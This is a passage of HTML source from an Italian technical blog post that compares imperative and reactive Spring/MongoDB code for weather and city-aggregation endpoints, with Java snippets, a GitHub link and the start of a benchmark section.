&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_dataRepository&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findByCityId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(cityId);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 18 - Imperative Weather&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;reactive-1&quot;&gt;Reactive&lt;/h4&gt;&lt;p&gt;Di seguito definiamo la coppia rotta - listener.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;RouterFunction&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;ServerResponse&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;dataRoutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;route&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/datas-by-city/{cityId}&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;findDatasByCityId));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 19a - Reactive Weather&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Anche in questo caso andiamo ad utilizzare la parte reattiva fornita da MongoDB
e wrappata attraverso i repository di Spring.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Mono&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;ServerResponse&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findDatasByCityId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ServerRequest&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; req) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Flux&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Data&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;datas&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;_dataRepository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    .&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;findByCityId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Long&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;parseLong&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;pathVariable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;cityId&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;_isSSERequest&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(req)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;_toSSEResponse&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      datas,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ParameterizedTypeReference&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ServerSentEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Data&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;&amp;gt;() {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      data &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;valueOf&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getDataId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(datas, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Data&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 19b - Reactive Weather&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;aggregator&quot;&gt;Aggregator&lt;/h3&gt;&lt;h4 id=&quot;imperative-2&quot;&gt;Imperative&lt;/h4&gt;&lt;p&gt;L&amp;#x27;operazione di aggregazione per la parte imperativa si riassume nel recuperare
l&amp;#x27;insieme di tutte le città e quindi per ogni città andiamo a procurarci i
relativi dati meteo.&lt;/p&gt;&lt;p&gt;N.B.: In questo caso ho voluto usare uno stream per evidenziare che questo tipo
di strutture possono essere usate anche per scrivere codice imperativo,
infatti può essere facilmente riconvertito in un ciclo for/while.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;GetMapping&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/city-name-weather&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Collection&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;CityContainerModel&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getCityWeather&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;RequestParam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cityName)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  throws Exception {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Collection&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;City&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cities&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_cityProxy&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getCityByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(cityName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cities&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isEmpty&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;throw&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;NoSuchCityException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;The city with name &amp;#x27;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; + cityName + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;#x27; wasn&amp;#x27;t found.&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cities&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    .&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(city &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;CityContainerModel&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      city, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_weatherProxy&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getDatasByCityId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;city&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;())))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    .&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;collect&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Collectors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toList&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 20 - Imperative Aggregator&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;reactive-2&quot;&gt;Reactive&lt;/h4&gt;&lt;p&gt;In questo caso è stato utilizzata l&amp;#x27;annotation di Spring al posto della rotta
per dimostrare che è possibile usare anche questo approccio. Nel momento in cui
il client HTTP Reattivo andrà ad aprire un flusso noi riusciamo ad inserirci
trasformandolo con ad esempio il metodo concatMap (l&amp;#x27;equivalente di un flatMap
per la programmazione funzionale). Per ogni città, andiamo ad associare i
relativi dati meteo che, in questo specifico caso, saranno restituiti come
unico blocco. Infine, sarà restituito un flusso di modelli del tipo
CityContainerModel dove al suo interno avremo la città e i suoi relativi dati.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;GetMapping&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;/city-name-weather&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Flux&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;CityContainerModel&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getCityWeather&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;RequestParam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cityName) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Flux&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;CityContainerModel&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;City&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cityByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; =&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_reactiveCityProxy&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getCityByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(cityName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cityByName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;concatMap&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    city &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;_reactiveDataProxy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      .&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getDatasByCityId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;city&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      .&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;collectList&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      .&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(datas &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;CityContainerModel&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(city, datas))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Figura 21 - Reactive Aggregator&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;riferimenti&quot;&gt;Riferimenti&lt;/h3&gt;&lt;p&gt;Potete trovare i sorgenti completi al seguente link:&lt;/p&gt;&lt;a href=&quot;https://github.com/smclab/reactive-vs-imperative&quot;&gt;https://github.com/smclab/reactive-vs-imperative&lt;/a&gt;&lt;h2 id=&quot;benchmark&quot;&gt;Benchmark&lt;/h2&gt;&lt;h3 id=&quot;tools&quot;&gt;Tools&lt;/h3&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1818fcedef140d93f44966e519e356d3/acd79/benchmark-tools.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:38.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;154\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20154\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M164%202c-2%204-5%205-10%205s-5%200-4%207c1%205%201%205-1%208-4%203-3%205%201%207l5%204%206%202h3l-3-4c-5-4-6-8-4-13%204-12%2020-12%2025%200h1l-2-6-2-5c0-2-1-2-4-2s-4%200-6-2l-3-3-2%202m32%208c-6%204-9%2013-5%2020%206%2010%2021%207%2023-6l1-3h-8c-6%200-7%200-7%202l5%201c4%200%205%200%205%202%200%205-9%208-14%204-8-5-1-20%208-17%205%202%206%202%207%200%201-3-10-5-15-3m56%203c-2%202-2%205-2%2013%200%209%200%2010%202%2010s2-1%202-7c0-8%200-8%203-8l2-1c0-1-1-2-3-2-3%200-2-3%201-4%204%200%204-3%200-3-3%200-4%201-5%202m-88%204c-3%204-2%2011%201%2011v-2c-3-5%204-10%208-7s5%206%202%2011l-3%203-1%201c0%202%204%201%208-1l4-2-2-6c-3-10-11-13-17-8m70%201c-2%201-6%206-6%208%200%206%207%2011%2012%209h4l2%201%201-9v-9h-13m31%200l-3%203c-6%208%203%2018%2011%2014h2l2%201%201-9c0-9%200-9-2-9h-11m22%200h-3c-2%200-2%200-2%208s0%209%202%209%202-1%202-6c0-6%201-8%204-8s4%203%204%209c0%204%200%205%202%205l1-7c0-6%200-7-3-9-2-2-5-3-7-1m18%200l-3%203c-6%208%203%2018%2011%2014h2l2%201%201-9c0-9%200-9-2-9h-11M14%2072l-1%204c0%205-2%206-3%202l-1-3-2%205-1%2010%201%204H3l-3-1%202%203%201%203h13c10%200%2012%200%2013-2%203-3%202-4-2-3-3%200-3%200-2-3%201-2%201-8-1-9l-2-5-1-3-1%204-1%205-2-7c-1-6-2-7-3-4m21%2023l1%2010%202-4c0-4%200-4%203-4%204%200%207-3%207-7s-2-5-8-5h-5v10m30-3c-5%204-3%2013%204%2013%203%200%206-3%206-7%200-7-5-10-10-6m13-1c-1%203%200%2013%202%2014l1-6c0-4%200-6%202-6%202-2%204%201%204%207l1%205%201-5c0-6%202-9%204-8s2%203%202%207c0%206%202%208%203%203%201-8-3-14-7-11-2%202-3%202-4%200h-9m26%200c-7%203-3%2016%205%2014%204-1%204-3%200-2-3%200-6-1-6-4l5-1c5-1%206-2%204-5-2-2-5-3-8-2m39%201c-5%206%201%2015%208%2012%203-1%202-2-1-1-3%200-6-1-6-4l5-1c5-1%206-2%203-5-4-4-5-4-9-1m138%2021c-5%205-11%2016-12%2022l-1%203v6c0%201%205-1%207-3v-3h2c-1%200%200-2%202-3l2-5%201-4c6-11%207-15%205-17-1-1-3%200-6%204m11%2021v14h-3c-5%200-4%205%201%205%207%200%209-3%209-21v-11h-7v13m8-1v13h6v-13l2%206c2%206%203%207%205%207%203%200%203-1%204-6%203-10%204-10%204-2s0%208%203%208h2v-25h-8l-